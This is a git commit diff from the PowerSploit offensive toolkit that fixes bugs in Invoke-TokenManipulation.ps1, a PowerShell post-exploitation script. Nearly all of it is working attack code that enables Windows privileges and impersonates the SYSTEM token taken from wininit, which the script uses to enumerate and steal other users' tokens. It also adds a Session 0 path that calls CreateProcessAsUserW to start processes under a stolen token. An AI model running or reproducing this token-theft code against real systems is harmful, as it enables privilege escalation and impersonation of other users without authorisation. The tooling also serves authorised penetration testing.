aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2014-01-11 15:02:48 -0800
committerMatt Graeber <mattgraeber@gmail.com>2014-01-11 15:02:48 -0800
commit4f5faf672ffa35f139b94df7e5f3f45e45a4e31a (patch)
treed295f14499f9e964a5baf6ccc3cfd2b1cf2cdb7c
parent5bca2c30875ff36e8dbbc0676148a5354b71ae41 (diff)
parentbb41ab98ca19ab0ed661b5e403d5f603b08dcacb (diff)
downloadPowerSploit-4f5faf672ffa35f139b94df7e5f3f45e45a4e31a.tar.gz
PowerSploit-4f5faf672ffa35f139b94df7e5f3f45e45a4e31a.zip
Merge pull request #25 from clymb3r/master
Bug fixes for Invoke-TokenManipulation
-rw-r--r--Exfiltration/Invoke-TokenManipulation.ps1174
1 files changed, 142 insertions, 32 deletions
diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1
index 7e56ef0..8c8b7b4 100644
--- a/Exfiltration/Invoke-TokenManipulation.ps1
+++ b/Exfiltration/Invoke-TokenManipulation.ps1
@@ -23,6 +23,11 @@ so I created the NoUI flag. ALSO: When creating a process, the script will reque
This could show up in logs depending on the level of monitoring.
+PERMISSIONS REQUIRED:
+SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this.
+SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0.
+
+
Important differences from incognito:
First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates
between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service
@@ -44,7 +49,7 @@ Author: Joe Bialek, Twitter: @JosephBialek
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
-Version: 1.0
+Version: 1.1
.DESCRIPTION
@@ -730,8 +735,8 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
}
- #Enable SeSecurityPrivilege, needed to query security information for desktop DACL
- function Enable-SeSecurityPrivilege
+ #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL
+ function Enable-SeAssignPrimaryTokenPrivilege
{
[IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
@@ -772,7 +777,97 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
$LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
- $Result = $LookupPrivilegeValue.Invoke($null, "SeSecurityPrivilege", [Ref] $LuidObject)
+ $Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject)
+
+ if ($Result -eq $false)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
+ $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize)
+ $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES)
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr)
+
+ $LuidAndAttributes.Luid = $LuidObject
+ $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
+
+ [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES)
+ $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
+ $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
+ $TokenPrivileges.PrivilegeCount = 1
+ $TokenPrivileges.Privileges = $LuidAndAttributes
+
+ $Global:TokenPriv = $TokenPrivileges
+
+ $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
+ if ($Result -eq $false)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ $CloseHandle.Invoke($ThreadToken) | Out-Null
+ }
+
+
+ #Enable SeSecurityPrivilege, needed to query security information for desktop DACL
+ function Enable-Privilege
+ {
+ Param(
+ [Parameter()]
+ [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
+ "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
+ "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
+ "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege",
+ "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege",
+ "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege",
+ "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
+ "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
+ [String]
+ $Privilege
+ )
+
+ [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
+ if ($ThreadHandle -eq [IntPtr]::Zero)
+ {
+ Throw "Unable to get the handle to the current thread"
+ }
+
+ [IntPtr]$ThreadToken = [IntPtr]::Zero
+ [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ if ($Result -eq $false)
+ {
+ if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
+ {
+ $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION)
+ if ($Result -eq $false)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
+ if ($Result -eq $false)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+ }
+ else
+ {
+ Throw ([ComponentModel.Win32Exception] $ErrorCode)
+ }
+ }
+
+ $CloseHandle.Invoke($ThreadHandle) | Out-Null
+
+ $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
+ $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
+ $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
+
+ $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject)
if ($Result -eq $false)
{
@@ -796,6 +891,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
$Global:TokenPriv = $TokenPrivileges
+ Write-Verbose "Attempting to enable privilege: $Privilege"
$Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
if ($Result -eq $false)
{
@@ -803,13 +899,14 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
}
$CloseHandle.Invoke($ThreadToken) | Out-Null
+ Write-Verbose "Enabled privilege: $Privilege"
}
#Change the ACL of the WindowStation and Desktop
function Set-DesktopACLs
{
- Enable-SeSecurityPrivilege
+ Enable-Privilege -Privilege SeSecurityPrivilege
#Change the privilege for the current window station to allow full privilege for all users
$WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0")
@@ -1454,7 +1551,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
[String]
$ProcessArgs
)
-
+ Write-Verbose "Entering Create-ProcessWithToken"
#Duplicate the token so it can be used to create a new process
[IntPtr]$NewHToken = [IntPtr]::Zero
$Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken)
@@ -1473,14 +1570,30 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
- $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessName)
+ $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName")
$ProcessArgsPtr = [IntPtr]::Zero
if (-not [String]::IsNullOrEmpty($ProcessArgs))
{
- $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessArgs)
+ $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs")
+ }
+
+ $FunctionName = ""
+ if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
+ {
+ #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because
+ #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege
+ #which is not ideal.
+ Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token."
+ Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege
+ $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
+ $FunctionName = "CreateProcessAsUserW"
+ }
+ else
+ {
+ Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token."
+ $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
+ $FunctionName = "CreateProcessWithTokenW"
}
-
- $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
if ($Success)
{
#Free the handles returned in the ProcessInfo structure
@@ -1491,7 +1604,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
else
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
- Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode"
+ Write-Warning "$FunctionName failed. Error code: $ErrorCode"
}
#Free StartupInfo memory and ProcessInfo memory
@@ -1540,20 +1653,18 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
{
$AllTokens = @()
- if ([Environment]::UserName -ine "SYSTEM")
+ #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
+ #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token.
+ $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id
+ if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
{
- #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
- $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id
- if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
- {
- Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
- }
+ Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
+ }
- if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
- {
- $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
- $systemTokenInfo = $null
- }
+ if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
+ {
+ $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
+ $systemTokenInfo = $null
}
$ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}
@@ -1639,7 +1750,12 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
Write-Error "Script must be run as administrator" -ErrorAction Stop
}
- $OriginalUser = [Environment]::UserName
+ #If running in session 0, force NoUI
+ if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
+ {
+ Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)"
+ $NoUI = $true
+ }
if ($PsCmdlet.ParameterSetName -ieq "RevToSelf")
{
@@ -1727,10 +1843,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs
- if ($OriginalUser -ine "SYSTEM")
- {
- Invoke-RevertToSelf
- }
+ Invoke-RevertToSelf
}
elseif ($ImpersonateUser)
{
@@ -1757,10 +1870,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values
}
- if ($OriginalUser -ine "SYSTEM")
- {
- Invoke-RevertToSelf
- }
+ Invoke-RevertToSelf
Free-AllTokens -TokenInfoObjs $AllTokens
}